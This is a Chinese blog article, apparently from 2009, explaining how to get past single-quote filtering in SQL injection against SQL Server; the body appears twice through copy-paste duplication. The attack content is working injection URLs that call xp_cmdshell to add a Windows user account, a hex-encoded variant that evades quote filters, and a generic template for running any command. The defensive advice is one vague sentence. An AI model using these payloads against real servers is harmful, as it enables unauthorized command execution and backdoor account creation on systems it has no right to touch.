SQL注入中绕过 单引号 限制继续注入
更新时间：2009年06月27日 21:51:48 作者：
我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章，都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的
包括我写的那篇《SQL Injection的实现与应用》也是这样的例子，因为没有碰到任何的过滤，所以使我们相当轻松就注入成功了，如下：
https://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
这往往给大家造成误解，认为只要变量过滤了'就可以防止SQL Injection攻击，这种意识为大量程序可以注入埋下祸根，其实仅仅过滤'是不够的，在'被过滤的情况下我们照样玩，看下面语句：
https://www.jb51.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大区别？可是效果完全是一样的。其实这些都是SQL语句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白，先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解决办法：
过滤变量，限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。
复制代码 代码如下:
https://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
这往往给大家造成误解，认为只要变量过滤了'就可以防止SQL Injection攻击，这种意识为大量程序可以注入埋下祸根，其实仅仅过滤'是不够的，在'被过滤的情况下我们照样玩，看下面语句：
复制代码 代码如下:
https://www.jb51.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大区别？可是效果完全是一样的。其实这些都是SQL语句。
复制代码 代码如下:
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白，先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：
复制代码 代码如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解决办法：
过滤变量，限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。
相关文章
本篇文章主要介绍了asp.net MVC下使用rest的方法，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧2017-09-09
本文给大家介绍asp.net中viewstate的用法，涉及到viewstate的原理、用法、与session的对比等方面的知识，对viewstate用法感兴趣的朋友一起看看吧2015-10-10
这篇文章主要介绍了.net cs后台刷新aspx页面的四种方式,需要的朋友可以参考下2014-03-03
SSO的解决方案很多，但搜索结果令人大失所望，大部分是相互转载，并且描述的也是走马观花,本文对此进行详细介绍，需要了解的朋友可以参考下2012-11-11
这篇文章主要给大家介绍了关于ASP.NET MVC使用Ninject的相关资料，文中通过示例代码介绍的非常详细，对大家啊的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2018-12-12
asp.net使用jquery模板引擎jtemplates呈现表格
这篇文章主要介绍了asp.net使用jquery模板引擎jtemplates呈现表格的示例，大家参考使用吧2014-01-01
asp.net ubb使用代码，以前脚本之家曾经发过一篇稍有区别的代码，大家一起参考下吧。2009-12-12
详解ASP.Net Core 中如何借助CSRedis实现一个安全高效的分布式锁
这篇文章主要介绍了ASP.Net Core 中如何借助CSRedis实现一个安全高效的分布式锁，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2019-04-04
CZGL.ProcessMetrics处理监控数据的三种方式介绍
这篇文章介绍了CZGL.ProcessMetrics处理监控数据的三种方式，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2022-04-04
本篇文章主要介绍了ASP.NET Core应用中如何记录和查看日志，具有一定的参考价值，感兴趣的小伙伴们可以参考一下。2016-12-12
最新评论